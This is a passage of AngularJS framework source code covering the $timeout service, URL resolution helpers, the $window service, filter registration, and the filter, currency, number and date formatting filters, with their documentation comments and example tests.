14245 *
14246 * @description
14247 * Angular's wrapper for `window.setTimeout`. The `fn` function is wrapped into a try/catch
14248 * block and delegates any exceptions to
14249 * {@link ng.$exceptionHandler $exceptionHandler} service.
14250 *
14251 * The return value of registering a timeout function is a promise, which will be resolved when
14252 * the timeout is reached and the timeout function is executed.
14253 *
14254 * To cancel a timeout request, call `$timeout.cancel(promise)`.
14255 *
14256 * In tests you can use {@link ngMock.$timeout `$timeout.flush()`} to
14257 * synchronously flush the queue of deferred functions.
14258 *
14259 * @param {function()} fn A function, whose execution should be delayed.
14260 * @param {number=} [delay=0] Delay in milliseconds.
14261 * @param {boolean=} [invokeApply=true] If set to `false` skips model dirty checking, otherwise
14262 * will invoke `fn` within the {@link ng.$rootScope.Scope#$apply $apply} block.
14263 * @returns {Promise} Promise that will be resolved when the timeout is reached. The value this
14264 * promise will be resolved with is the return value of the `fn` function.
14265 *
14266 */
14267 function timeout(fn, delay, invokeApply) {
14268 var deferred = $q.defer(),
14269 promise = deferred.promise,
14270 skipApply = (isDefined(invokeApply) && !invokeApply),
14271 timeoutId;
14272
14273 timeoutId = $browser.defer(function() {
14274 try {
14275 deferred.resolve(fn());
14276 } catch(e) {
14277 deferred.reject(e);
14278 $exceptionHandler(e);
14279 }
14280 finally {
14281 delete deferreds[promise.$$timeoutId];
14282 }
14283
14284 if (!skipApply) $rootScope.$apply();
14285 }, delay);
14286
14287 promise.$$timeoutId = timeoutId;
14288 deferreds[timeoutId] = deferred;
14289
14290 return promise;
14291 }
14292
14293
14294 /**
14295 * @ngdoc method
14296 * @name $timeout#cancel
14297 *
14298 * @description
14299 * Cancels a task associated with the `promise`. As a result of this, the promise will be
14300 * resolved with a rejection.
14301 *
14302 * @param {Promise=} promise Promise returned by the `$timeout` function.
14303 * @returns {boolean} Returns `true` if the task hasn't executed yet and was successfully
14304 * canceled.
14305 */
14306 timeout.cancel = function(promise) {
14307 if (promise && promise.$$timeoutId in deferreds) {
14308 deferreds[promise.$$timeoutId].reject('canceled');
14309 delete deferreds[promise.$$timeoutId];
14310 return $browser.defer.cancel(promise.$$timeoutId);
14311 }
14312 return false;
14313 };
14314
14315 return timeout;
14316 }];
14317 }
14318
14319 // NOTE: The usage of window and document instead of $window and $document here is
14320 // deliberate. This service depends on the specific behavior of anchor nodes created by the
14321 // browser (resolving and parsing URLs) that is unlikely to be provided by mock objects and
14322 // cause us to break tests. In addition, when the browser resolves a URL for XHR, it
14323 // doesn't know about mocked locations and resolves URLs to the real document - which is
14324 // exactly the behavior needed here. There is little value is mocking these out for this
14325 // service.
14326 var urlParsingNode = document.createElement("a");
14327 var originUrl = urlResolve(window.location.href, true);
14328
14329
14330 /**
14331 *
14332 * Implementation Notes for non-IE browsers
14333 * ----------------------------------------
14334 * Assigning a URL to the href property of an anchor DOM node, even one attached to the DOM,
14335 * results both in the normalizing and parsing of the URL. Normalizing means that a relative
14336 * URL will be resolved into an absolute URL in the context of the application document.
14337 * Parsing means that the anchor node's host, hostname, protocol, port, pathname and related
14338 * properties are all populated to reflect the normalized URL. This approach has wide
14339 * compatibility - Safari 1+, Mozilla 1+, Opera 7+,e etc. See
14340 * http://www.aptana.com/reference/html/api/HTMLAnchorElement.html
14341 *
14342 * Implementation Notes for IE
14343 * ---------------------------
14344 * IE >= 8 and <= 10 normalizes the URL when assigned to the anchor node similar to the other
14345 * browsers. However, the parsed components will not be set if the URL assigned did not specify
14346 * them. (e.g. if you assign a.href = "foo", then a.protocol, a.host, etc. will be empty.) We
14347 * work around that by performing the parsing in a 2nd step by taking a previously normalized
14348 * URL (e.g. by assigning to a.href) and assigning it a.href again. This correctly populates the
14349 * properties such as protocol, hostname, port, etc.
14350 *
14351 * IE7 does not normalize the URL when assigned to an anchor node. (Apparently, it does, if one
14352 * uses the inner HTML approach to assign the URL as part of an HTML snippet -
14353 * http://stackoverflow.com/a/472729) However, setting img[src] does normalize the URL.
14354 * Unfortunately, setting img[src] to something like "javascript:foo" on IE throws an exception.
14355 * Since the primary usage for normalizing URLs is to sanitize such URLs, we can't use that
14356 * method and IE < 8 is unsupported.
14357 *
14358 * References:
14359 * http://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement
14360 * http://www.aptana.com/reference/html/api/HTMLAnchorElement.html
14361 * http://url.spec.whatwg.org/#urlutils
14362 * https://github.com/angular/angular.js/pull/2902
14363 * http://james.padolsey.com/javascript/parsing-urls-with-the-dom/
14364 *
14365 * @kind function
14366 * @param {string} url The URL to be parsed.
14367 * @description Normalizes and parses a URL.
14368 * @returns {object} Returns the normalized URL as a dictionary.
14369 *
14370 * | member name | Description |
14371 * |---------------|----------------|
14372 * | href | A normalized version of the provided URL if it was not an absolute URL |
14373 * | protocol | The protocol including the trailing colon |
14374 * | host | The host and port (if the port is non-default) of the normalizedUrl |
14375 * | search | The search params, minus the question mark |
14376 * | hash | The hash string, minus the hash symbol
14377 * | hostname | The hostname
14378 * | port | The port, without ":"
14379 * | pathname | The pathname, beginning with "/"
14380 *
14381 */
14382 function urlResolve(url, base) {
14383 var href = url;
14384
14385 if (msie) {
14386 // Normalize before parse. Refer Implementation Notes on why this is
14387 // done in two steps on IE.
14388 urlParsingNode.setAttribute("href", href);
14389 href = urlParsingNode.href;
14390 }
14391
14392 urlParsingNode.setAttribute('href', href);
14393
14394 // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
14395 return {
14396 href: urlParsingNode.href,
14397 protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
14398 host: urlParsingNode.host,
14399 search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
14400 hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
14401 hostname: urlParsingNode.hostname,
14402 port: urlParsingNode.port,
14403 pathname: (urlParsingNode.pathname.charAt(0) === '/')
14404 ? urlParsingNode.pathname
14405 : '/' + urlParsingNode.pathname
14406 };
14407 }
14408
14409 /**
14410 * Parse a request URL and determine whether this is a same-origin request as the application document.
14411 *
14412 * @param {string|object} requestUrl The url of the request as a string that will be resolved
14413 * or a parsed URL object.
14414 * @returns {boolean} Whether the request is for the same origin as the application document.
14415 */
14416 function urlIsSameOrigin(requestUrl) {
14417 var parsed = (isString(requestUrl)) ? urlResolve(requestUrl) : requestUrl;
14418 return (parsed.protocol === originUrl.protocol &&
14419 parsed.host === originUrl.host);
14420 }
14421
14422 /**
14423 * @ngdoc service
14424 * @name $window
14425 *
14426 * @description
14427 * A reference to the browser's `window` object. While `window`
14428 * is globally available in JavaScript, it causes testability problems, because
14429 * it is a global variable. In angular we always refer to it through the
14430 * `$window` service, so it may be overridden, removed or mocked for testing.
14431 *
14432 * Expressions, like the one defined for the `ngClick` directive in the example
14433 * below, are evaluated with respect to the current scope. Therefore, there is
14434 * no risk of inadvertently coding in a dependency on a global value in such an
14435 * expression.
14436 *
14437 * @example
14438 <example module="windowExample">
14439 <file name="index.html">
14440 <script>
14441 angular.module('windowExample', [])
14442 .controller('ExampleController', ['$scope', '$window', function ($scope, $window) {
14443 $scope.greeting = 'Hello, World!';
14444 $scope.doGreeting = function(greeting) {
14445 $window.alert(greeting);
14446 };
14447 }]);
14448 </script>
14449 <div ng-controller="ExampleController">
14450 <input type="text" ng-model="greeting" />
14451 <button ng-click="doGreeting(greeting)">ALERT</button>
14452 </div>
14453 </file>
14454 <file name="protractor.js" type="protractor">
14455 it('should display the greeting in the input box', function() {
14456 element(by.model('greeting')).sendKeys('Hello, E2E Tests');
14457 // If we click the button it will block the test runner
14458 // element(':button').click();
14459 });
14460 </file>
14461 </example>
14462 */
14463 function $WindowProvider(){
14464 this.$get = valueFn(window);
14465 }
14466
14467 /* global currencyFilter: true,
14468 dateFilter: true,
14469 filterFilter: true,
14470 jsonFilter: true,
14471 limitToFilter: true,
14472 lowercaseFilter: true,
14473 numberFilter: true,
14474 orderByFilter: true,
14475 uppercaseFilter: true,
14476 */
14477
14478 /**
14479 * @ngdoc provider
14480 * @name $filterProvider
14481 * @description
14482 *
14483 * Filters are just functions which transform input to an output. However filters need to be
14484 * Dependency Injected. To achieve this a filter definition consists of a factory function which is
14485 * annotated with dependencies and is responsible for creating a filter function.
14486 *
14487 * ```js
14488 * // Filter registration
14489 * function MyModule($provide, $filterProvider) {
14490 * // create a service to demonstrate injection (not always needed)
14491 * $provide.value('greet', function(name){
14492 * return 'Hello ' + name + '!';
14493 * });
14494 *
14495 * // register a filter factory which uses the
14496 * // greet service to demonstrate DI.
14497 * $filterProvider.register('greet', function(greet){
14498 * // return the filter function which uses the greet service
14499 * // to generate salutation
14500 * return function(text) {
14501 * // filters need to be forgiving so check input validity
14502 * return text && greet(text) || text;
14503 * };
14504 * });
14505 * }
14506 * ```
14507 *
14508 * The filter function is registered with the `$injector` under the filter name suffix with
14509 * `Filter`.
14510 *
14511 * ```js
14512 * it('should be the same instance', inject(
14513 * function($filterProvider) {
14514 * $filterProvider.register('reverse', function(){
14515 * return ...;
14516 * });
14517 * },
14518 * function($filter, reverseFilter) {
14519 * expect($filter('reverse')).toBe(reverseFilter);
14520 * });
14521 * ```
14522 *
14523 *
14524 * For more information about how angular filters work, and how to create your own filters, see
14525 * {@link guide/filter Filters} in the Angular Developer Guide.
14526 */
14527 /**
14528 * @ngdoc method
14529 * @name $filterProvider#register
14530 * @description
14531 * Register filter factory function.
14532 *
14533 * @param {String} name Name of the filter.
14534 * @param {Function} fn The filter factory function which is injectable.
14535 */
14536
14537
14538 /**
14539 * @ngdoc service
14540 * @name $filter
14541 * @kind function
14542 * @description
14543 * Filters are used for formatting data displayed to the user.
14544 *
14545 * The general syntax in templates is as follows:
14546 *
14547 * {{ expression [| filter_name[:parameter_value] ... ] }}
14548 *
14549 * @param {String} name Name of the filter function to retrieve
14550 * @return {Function} the filter function
14551 * @example
14552 <example name="$filter" module="filterExample">
14553 <file name="index.html">
14554 <div ng-controller="MainCtrl">
14555 <h3>{{ originalText }}</h3>
14556 <h3>{{ filteredText }}</h3>
14557 </div>
14558 </file>
14559
14560 <file name="script.js">
14561 angular.module('filterExample', [])
14562 .controller('MainCtrl', function($scope, $filter) {
14563 $scope.originalText = 'hello';
14564 $scope.filteredText = $filter('uppercase')($scope.originalText);
14565 });
14566 </file>
14567 </example>
14568 */
14569 $FilterProvider.$inject = ['$provide'];
14570 function $FilterProvider($provide) {
14571 var suffix = 'Filter';
14572
14573 /**
14574 * @ngdoc method
14575 * @name $controllerProvider#register
14576 * @param {string|Object} name Name of the filter function, or an object map of filters where
14577 * the keys are the filter names and the values are the filter factories.
14578 * @returns {Object} Registered filter instance, or if a map of filters was provided then a map
14579 * of the registered filter instances.
14580 */
14581 function register(name, factory) {
14582 if(isObject(name)) {
14583 var filters = {};
14584 forEach(name, function(filter, key) {
14585 filters[key] = register(key, filter);
14586 });
14587 return filters;
14588 } else {
14589 return $provide.factory(name + suffix, factory);
14590 }
14591 }
14592 this.register = register;
14593
14594 this.$get = ['$injector', function($injector) {
14595 return function(name) {
14596 return $injector.get(name + suffix);
14597 };
14598 }];
14599
14600 ////////////////////////////////////////
14601
14602 /* global
14603 currencyFilter: false,
14604 dateFilter: false,
14605 filterFilter: false,
14606 jsonFilter: false,
14607 limitToFilter: false,
14608 lowercaseFilter: false,
14609 numberFilter: false,
14610 orderByFilter: false,
14611 uppercaseFilter: false,
14612 */
14613
14614 register('currency', currencyFilter);
14615 register('date', dateFilter);
14616 register('filter', filterFilter);
14617 register('json', jsonFilter);
14618 register('limitTo', limitToFilter);
14619 register('lowercase', lowercaseFilter);
14620 register('number', numberFilter);
14621 register('orderBy', orderByFilter);
14622 register('uppercase', uppercaseFilter);
14623 }
14624
14625 /**
14626 * @ngdoc filter
14627 * @name filter
14628 * @kind function
14629 *
14630 * @description
14631 * Selects a subset of items from `array` and returns it as a new array.
14632 *
14633 * @param {Array} array The source array.
14634 * @param {string|Object|function()} expression The predicate to be used for selecting items from
14635 * `array`.
14636 *
14637 * Can be one of:
14638 *
14639 * - `string`: The string is evaluated as an expression and the resulting value is used for substring match against
14640 * the contents of the `array`. All strings or objects with string properties in `array` that contain this string
14641 * will be returned. The predicate can be negated by prefixing the string with `!`.
14642 *
14643 * - `Object`: A pattern object can be used to filter specific properties on objects contained
14644 * by `array`. For example `{name:"M", phone:"1"}` predicate will return an array of items
14645 * which have property `name` containing "M" and property `phone` containing "1". A special
14646 * property name `$` can be used (as in `{$:"text"}`) to accept a match against any
14647 * property of the object. That's equivalent to the simple substring match with a `string`
14648 * as described above.
14649 *
14650 * - `function(value)`: A predicate function can be used to write arbitrary filters. The function is
14651 * called for each element of `array`. The final result is an array of those elements that
14652 * the predicate returned true for.
14653 *
14654 * @param {function(actual, expected)|true|undefined} comparator Comparator which is used in
14655 * determining if the expected value (from the filter expression) and actual value (from
14656 * the object in the array) should be considered a match.
14657 *
14658 * Can be one of:
14659 *
14660 * - `function(actual, expected)`:
14661 * The function will be given the object value and the predicate value to compare and
14662 * should return true if the item should be included in filtered result.
14663 *
14664 * - `true`: A shorthand for `function(actual, expected) { return angular.equals(expected, actual)}`.
14665 * this is essentially strict comparison of expected and actual.
14666 *
14667 * - `false|undefined`: A short hand for a function which will look for a substring match in case
14668 * insensitive way.
14669 *
14670 * @example
14671 <example>
14672 <file name="index.html">
14673 <div ng-init="friends = [{name:'John', phone:'555-1276'},
14674 {name:'Mary', phone:'800-BIG-MARY'},
14675 {name:'Mike', phone:'555-4321'},
14676 {name:'Adam', phone:'555-5678'},
14677 {name:'Julie', phone:'555-8765'},
14678 {name:'Juliette', phone:'555-5678'}]"></div>
14679
14680 Search: <input ng-model="searchText">
14681 <table id="searchTextResults">
14682 <tr><th>Name</th><th>Phone</th></tr>
14683 <tr ng-repeat="friend in friends | filter:searchText">
14684 <td>{{friend.name}}</td>
14685 <td>{{friend.phone}}</td>
14686 </tr>
14687 </table>
14688 <hr>
14689 Any: <input ng-model="search.$"> <br>
14690 Name only <input ng-model="search.name"><br>
14691 Phone only <input ng-model="search.phone"><br>
14692 Equality <input type="checkbox" ng-model="strict"><br>
14693 <table id="searchObjResults">
14694 <tr><th>Name</th><th>Phone</th></tr>
14695 <tr ng-repeat="friendObj in friends | filter:search:strict">
14696 <td>{{friendObj.name}}</td>
14697 <td>{{friendObj.phone}}</td>
14698 </tr>
14699 </table>
14700 </file>
14701 <file name="protractor.js" type="protractor">
14702 var expectFriendNames = function(expectedNames, key) {
14703 element.all(by.repeater(key + ' in friends').column(key + '.name')).then(function(arr) {
14704 arr.forEach(function(wd, i) {
14705 expect(wd.getText()).toMatch(expectedNames[i]);
14706 });
14707 });
14708 };
14709
14710 it('should search across all fields when filtering with a string', function() {
14711 var searchText = element(by.model('searchText'));
14712 searchText.clear();
14713 searchText.sendKeys('m');
14714 expectFriendNames(['Mary', 'Mike', 'Adam'], 'friend');
14715
14716 searchText.clear();
14717 searchText.sendKeys('76');
14718 expectFriendNames(['John', 'Julie'], 'friend');
14719 });
14720
14721 it('should search in specific fields when filtering with a predicate object', function() {
14722 var searchAny = element(by.model('search.$'));
14723 searchAny.clear();
14724 searchAny.sendKeys('i');
14725 expectFriendNames(['Mary', 'Mike', 'Julie', 'Juliette'], 'friendObj');
14726 });
14727 it('should use a equal comparison when comparator is true', function() {
14728 var searchName = element(by.model('search.name'));
14729 var strict = element(by.model('strict'));
14730 searchName.clear();
14731 searchName.sendKeys('Julie');
14732 strict.click();
14733 expectFriendNames(['Julie'], 'friendObj');
14734 });
14735 </file>
14736 </example>
14737 */
14738 function filterFilter() {
14739 return function(array, expression, comparator) {
14740 if (!isArray(array)) return array;
14741
14742 var comparatorType = typeof(comparator),
14743 predicates = [];
14744
14745 predicates.check = function(value) {
14746 for (var j = 0; j < predicates.length; j++) {
14747 if(!predicates[j](value)) {
14748 return false;
14749 }
14750 }
14751 return true;
14752 };
14753
14754 if (comparatorType !== 'function') {
14755 if (comparatorType === 'boolean' && comparator) {
14756 comparator = function(obj, text) {
14757 return angular.equals(obj, text);
14758 };
14759 } else {
14760 comparator = function(obj, text) {
14761 if (obj && text && typeof obj === 'object' && typeof text === 'object') {
14762 for (var objKey in obj) {
14763 if (objKey.charAt(0) !== '$' && hasOwnProperty.call(obj, objKey) &&
14764 comparator(obj[objKey], text[objKey])) {
14765 return true;
14766 }
14767 }
14768 return false;
14769 }
14770 text = (''+text).toLowerCase();
14771 return (''+obj).toLowerCase().indexOf(text) > -1;
14772 };
14773 }
14774 }
14775
14776 var search = function(obj, text){
14777 if (typeof text == 'string' && text.charAt(0) === '!') {
14778 return !search(obj, text.substr(1));
14779 }
14780 switch (typeof obj) {
14781 case "boolean":
14782 case "number":
14783 case "string":
14784 return comparator(obj, text);
14785 case "object":
14786 switch (typeof text) {
14787 case "object":
14788 return comparator(obj, text);
14789 default:
14790 for ( var objKey in obj) {
14791 if (objKey.charAt(0) !== '$' && search(obj[objKey], text)) {
14792 return true;
14793 }
14794 }
14795 break;
14796 }
14797 return false;
14798 case "array":
14799 for ( var i = 0; i < obj.length; i++) {
14800 if (search(obj[i], text)) {
14801 return true;
14802 }
14803 }
14804 return false;
14805 default:
14806 return false;
14807 }
14808 };
14809 switch (typeof expression) {
14810 case "boolean":
14811 case "number":
14812 case "string":
14813 // Set up expression object and fall through
14814 expression = {$:expression};
14815 // jshint -W086
14816 case "object":
14817 // jshint +W086
14818 for (var key in expression) {
14819 (function(path) {
14820 if (typeof expression[path] === 'undefined') return;
14821 predicates.push(function(value) {
14822 return search(path == '$' ? value : (value && value[path]), expression[path]);
14823 });
14824 })(key);
14825 }
14826 break;
14827 case 'function':
14828 predicates.push(expression);
14829 break;
14830 default:
14831 return array;
14832 }
14833 var filtered = [];
14834 for ( var j = 0; j < array.length; j++) {
14835 var value = array[j];
14836 if (predicates.check(value)) {
14837 filtered.push(value);
14838 }
14839 }
14840 return filtered;
14841 };
14842 }
14843
14844 /**
14845 * @ngdoc filter
14846 * @name currency
14847 * @kind function
14848 *
14849 * @description
14850 * Formats a number as a currency (ie $1,234.56). When no currency symbol is provided, default
14851 * symbol for current locale is used.
14852 *
14853 * @param {number} amount Input to filter.
14854 * @param {string=} symbol Currency symbol or identifier to be displayed.
14855 * @returns {string} Formatted number.
14856 *
14857 *
14858 * @example
14859 <example module="currencyExample">
14860 <file name="index.html">
14861 <script>
14862 angular.module('currencyExample', [])
14863 .controller('ExampleController', ['$scope', function($scope) {
14864 $scope.amount = 1234.56;
14865 }]);
14866 </script>
14867 <div ng-controller="ExampleController">
14868 <input type="number" ng-model="amount"> <br>
14869 default currency symbol ($): <span id="currency-default">{{amount | currency}}</span><br>
14870 custom currency identifier (USD$): <span>{{amount | currency:"USD$"}}</span>
14871 </div>
14872 </file>
14873 <file name="protractor.js" type="protractor">
14874 it('should init with 1234.56', function() {
14875 expect(element(by.id('currency-default')).getText()).toBe('$1,234.56');
14876 expect(element(by.binding('amount | currency:"USD$"')).getText()).toBe('USD$1,234.56');
14877 });
14878 it('should update', function() {
14879 if (browser.params.browser == 'safari') {
14880 // Safari does not understand the minus key. See
14881 // https://github.com/angular/protractor/issues/481
14882 return;
14883 }
14884 element(by.model('amount')).clear();
14885 element(by.model('amount')).sendKeys('-1234');
14886 expect(element(by.id('currency-default')).getText()).toBe('($1,234.00)');
14887 expect(element(by.binding('amount | currency:"USD$"')).getText()).toBe('(USD$1,234.00)');
14888 });
14889 </file>
14890 </example>
14891 */
14892 currencyFilter.$inject = ['$locale'];
14893 function currencyFilter($locale) {
14894 var formats = $locale.NUMBER_FORMATS;
14895 return function(amount, currencySymbol){
14896 if (isUndefined(currencySymbol)) currencySymbol = formats.CURRENCY_SYM;
14897 return formatNumber(amount, formats.PATTERNS[1], formats.GROUP_SEP, formats.DECIMAL_SEP, 2).
14898 replace(/\u00A4/g, currencySymbol);
14899 };
14900 }
14901
14902 /**
14903 * @ngdoc filter
14904 * @name number
14905 * @kind function
14906 *
14907 * @description
14908 * Formats a number as text.
14909 *
14910 * If the input is not a number an empty string is returned.
14911 *
14912 * @param {number|string} number Number to format.
14913 * @param {(number|string)=} fractionSize Number of decimal places to round the number to.
14914 * If this is not provided then the fraction size is computed from the current locale's number
14915 * formatting pattern. In the case of the default locale, it will be 3.
14916 * @returns {string} Number rounded to decimalPlaces and places a “,” after each third digit.
14917 *
14918 * @example
14919 <example module="numberFilterExample">
14920 <file name="index.html">
14921 <script>
14922 angular.module('numberFilterExample', [])
14923 .controller('ExampleController', ['$scope', function($scope) {
14924 $scope.val = 1234.56789;
14925 }]);
14926 </script>
14927 <div ng-controller="ExampleController">
14928 Enter number: <input ng-model='val'><br>
14929 Default formatting: <span id='number-default'>{{val | number}}</span><br>
14930 No fractions: <span>{{val | number:0}}</span><br>
14931 Negative number: <span>{{-val | number:4}}</span>
14932 </div>
14933 </file>
14934 <file name="protractor.js" type="protractor">
14935 it('should format numbers', function() {
14936 expect(element(by.id('number-default')).getText()).toBe('1,234.568');
14937 expect(element(by.binding('val | number:0')).getText()).toBe('1,235');
14938 expect(element(by.binding('-val | number:4')).getText()).toBe('-1,234.5679');
14939 });
14940
14941 it('should update', function() {
14942 element(by.model('val')).clear();
14943 element(by.model('val')).sendKeys('3374.333');
14944 expect(element(by.id('number-default')).getText()).toBe('3,374.333');
14945 expect(element(by.binding('val | number:0')).getText()).toBe('3,374');
14946 expect(element(by.binding('-val | number:4')).getText()).toBe('-3,374.3330');
14947 });
14948 </file>
14949 </example>
14950 */
14951
14952
14953 numberFilter.$inject = ['$locale'];
14954 function numberFilter($locale) {
14955 var formats = $locale.NUMBER_FORMATS;
14956 return function(number, fractionSize) {
14957 return formatNumber(number, formats.PATTERNS[0], formats.GROUP_SEP, formats.DECIMAL_SEP,
14958 fractionSize);
14959 };
14960 }
14961
14962 var DECIMAL_SEP = '.';
14963 function formatNumber(number, pattern, groupSep, decimalSep, fractionSize) {
14964 if (number == null || !isFinite(number) || isObject(number)) return '';
14965
14966 var isNegative = number < 0;
14967 number = Math.abs(number);
14968 var numStr = number + '',
14969 formatedText = '',
14970 parts = [];
14971
14972 var hasExponent = false;
14973 if (numStr.indexOf('e') !== -1) {
14974 var match = numStr.match(/([\d\.]+)e(-?)(\d+)/);
14975 if (match && match[2] == '-' && match[3] > fractionSize + 1) {
14976 numStr = '0';
14977 number = 0;
14978 } else {
14979 formatedText = numStr;
14980 hasExponent = true;
14981 }
14982 }
14983
14984 if (!hasExponent) {
14985 var fractionLen = (numStr.split(DECIMAL_SEP)[1] || '').length;
14986
14987 // determine fractionSize if it is not specified
14988 if (isUndefined(fractionSize)) {
14989 fractionSize = Math.min(Math.max(pattern.minFrac, fractionLen), pattern.maxFrac);
14990 }
14991
14992 // safely round numbers in JS without hitting imprecisions of floating-point arithmetics
14993 // inspired by:
14994 // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round
14995 number = +(Math.round(+(number.toString() + 'e' + fractionSize)).toString() + 'e' + -fractionSize);
14996
14997 var fraction = ('' + number).split(DECIMAL_SEP);
14998 var whole = fraction[0];
14999 fraction = fraction[1] || '';
15000
15001 var i, pos = 0,
15002 lgroup = pattern.lgSize,
15003 group = pattern.gSize;
15004
15005 if (whole.length >= (lgroup + group)) {
15006 pos = whole.length - lgroup;
15007 for (i = 0; i < pos; i++) {
15008 if ((pos - i)%group === 0 && i !== 0) {
15009 formatedText += groupSep;
15010 }
15011 formatedText += whole.charAt(i);
15012 }
15013 }
15014
15015 for (i = pos; i < whole.length; i++) {
15016 if ((whole.length - i)%lgroup === 0 && i !== 0) {
15017 formatedText += groupSep;
15018 }
15019 formatedText += whole.charAt(i);
15020 }
15021
15022 // format fraction part.
15023 while(fraction.length < fractionSize) {
15024 fraction += '0';
15025 }
15026
15027 if (fractionSize && fractionSize !== "0") formatedText += decimalSep + fraction.substr(0, fractionSize);
15028 } else {
15029
15030 if (fractionSize > 0 && number > -1 && number < 1) {
15031 formatedText = number.toFixed(fractionSize);
15032 }
15033 }
15034
15035 parts.push(isNegative ? pattern.negPre : pattern.posPre);
15036 parts.push(formatedText);
15037 parts.push(isNegative ? pattern.negSuf : pattern.posSuf);
15038 return parts.join('');
15039 }
15040
15041 function padNumber(num, digits, trim) {
15042 var neg = '';
15043 if (num < 0) {
15044 neg = '-';
15045 num = -num;
15046 }
15047 num = '' + num;
15048 while(num.length < digits) num = '0' + num;
15049 if (trim)
15050 num = num.substr(num.length - digits);
15051 return neg + num;
15052 }
15053
15054
15055 function dateGetter(name, size, offset, trim) {
15056 offset = offset || 0;
15057 return function(date) {
15058 var value = date['get' + name]();
15059 if (offset > 0 || value > -offset)
15060 value += offset;
15061 if (value === 0 && offset == -12 ) value = 12;
15062 return padNumber(value, size, trim);
15063 };
15064 }
15065
15066 function dateStrGetter(name, shortForm) {
15067 return function(date, formats) {
15068 var value = date['get' + name]();
15069 var get = uppercase(shortForm ? ('SHORT' + name) : name);
15070
15071 return formats[get][value];
15072 };
15073 }
15074
15075 function timeZoneGetter(date) {
15076 var zone = -1 * date.getTimezoneOffset();
15077 var paddedZone = (zone >= 0) ? "+" : "";
15078
15079 paddedZone += padNumber(Math[zone > 0 ? 'floor' : 'ceil'](zone / 60), 2) +
15080 padNumber(Math.abs(zone % 60), 2);
15081
15082 return paddedZone;
15083 }
15084
15085 function ampmGetter(date, formats) {
15086 return date.getHours() < 12 ? formats.AMPMS[0] : formats.AMPMS[1];
15087 }
15088
15089 var DATE_FORMATS = {
15090 yyyy: dateGetter('FullYear', 4),
15091 yy: dateGetter('FullYear', 2, 0, true),
15092 y: dateGetter('FullYear', 1),
15093 MMMM: dateStrGetter('Month'),
15094 MMM: dateStrGetter('Month', true),
15095 MM: dateGetter('Month', 2, 1),
15096 M: dateGetter('Month', 1, 1),
15097 dd: dateGetter('Date', 2),
15098 d: dateGetter('Date', 1),
15099 HH: dateGetter('Hours', 2),
15100 H: dateGetter('Hours', 1),
15101 hh: dateGetter('Hours', 2, -12),
15102 h: dateGetter('Hours', 1, -12),
15103 mm: dateGetter('Minutes', 2),
15104 m: dateGetter('Minutes', 1),
15105 ss: dateGetter('Seconds', 2),
15106 s: dateGetter('Seconds', 1),
15107 // while ISO 8601 requires fractions to be prefixed with `.` or `,`
15108 // we can be just safely rely on using `sss` since we currently don't support single or two digit fractions
15109 sss: dateGetter('Milliseconds', 3),
15110 EEEE: dateStrGetter('Day'),
15111 EEE: dateStrGetter('Day', true),
15112 a: ampmGetter,
15113 Z: timeZoneGetter
15114 };
15115
15116 var DATE_FORMATS_SPLIT = /((?:[^yMdHhmsaZE']+)|(?:'(?:[^']|'')*')|(?:E+|y+|M+|d+|H+|h+|m+|s+|a|Z))(.*)/,
15117 NUMBER_STRING = /^\-?\d+$/;
15118
15119 /**
15120 * @ngdoc filter
15121 * @name date
15122 * @kind function
15123 *
15124 * @description
15125 * Formats `date` to a string based on the requested `format`.
15126 *
15127 * `format` string can be composed of the following elements:
15128 *
15129 * * `'yyyy'`: 4 digit representation of year (e.g. AD 1 => 0001, AD 2010 => 2010)
15130 * * `'yy'`: 2 digit representation of year, padded (00-99). (e.g. AD 2001 => 01, AD 2010 => 10)
15131 * * `'y'`: 1 digit representation of year, e.g. (AD 1 => 1, AD 199 => 199)
15132 * * `'MMMM'`: Month in year (January-December)
15133 * * `'MMM'`: Month in year (Jan-Dec)
15134 * * `'MM'`: Month in year, padded (01-12)
15135 * * `'M'`: Month in year (1-12)
15136 * * `'dd'`: Day in month, padded (01-31)
15137 * * `'d'`: Day in month (1-31)
15138 * * `'EEEE'`: Day in Week,(Sunday-Saturday)
15139 * * `'EEE'`: Day in Week, (Sun-Sat)
15140 * * `'HH'`: Hour in day, padded (00-23)
15141 * * `'H'`: Hour in day (0-23)
15142 * * `'hh'`: Hour in am/pm, padded (01-12)
15143 * * `'h'`: Hour in am/pm, (1-12)
15144 * * `'mm'`: Minute in hour, padded (00-59)
15145 * * `'m'`: Minute in hour (0-59)
15146 * * `'ss'`: Second in minute, padded (00-59)
15147 * * `'s'`: Second in minute (0-59)
15148 * * `'.sss' or ',sss'`: Millisecond in second, padded (000-999)
15149 * * `'a'`: am/pm marker
15150 * * `'Z'`: 4 digit (+sign) representation of the timezone offset (-1200-+1200)
15151 *
15152 * `format` string can also be one of the following predefined
15153 * {@link guide/i18n localizable formats}:
15154 *
15155 * * `'medium'`: equivalent to `'MMM d, y h:mm:ss a'` for en_US locale
15156 * (e.g. Sep 3, 2010 12:05:08 pm)
15157 * * `'short'`: equivalent to `'M/d/yy h:mm a'` for en_US locale (e.g. 9/3/10 12:05 pm)
15158 * * `'fullDate'`: equivalent to `'EEEE, MMMM d,y'` for en_US locale
15159 * (e.g. Friday, September 3, 2010)
15160 * * `'longDate'`: equivalent to `'MMMM d, y'` for en_US locale (e.g. September 3, 2010)
15161 * * `'mediumDate'`: equivalent to `'MMM d, y'` for en_US locale (e.g. Sep 3, 2010)
15162 * * `'shortDate'`: equivalent to `'M/d/yy'` for en_US locale (e.g. 9/3/10)
15163 * * `'mediumTime'`: equivalent to `'h:mm:ss a'` for en_US locale (e.g. 12:05:08 pm)
15164 * * `'shortTime'`: equivalent to `'h:mm a'` for en_US locale (e.g. 12:05 pm)
15165 *
15166 * `format` string can contain literal values. These need to be quoted with single quotes (e.g.
15167 * `"h 'in the morning'"`). In order to output single quote, use two single quotes in a sequence
15168 * (e.g. `"h 'o''clock'"`).
15169 *
15170 * @param {(Date|number|string)} date Date to format either as Date object, milliseconds (string or
15171 * number) or various ISO 8601 datetime string formats (e.g. yyyy-MM-ddTHH:mm:ss.sssZ and its
15172 * shorter versions like yyyy-MM-ddTHH:mmZ, yyyy-MM-dd or yyyyMMddTHHmmssZ). If no timezone is
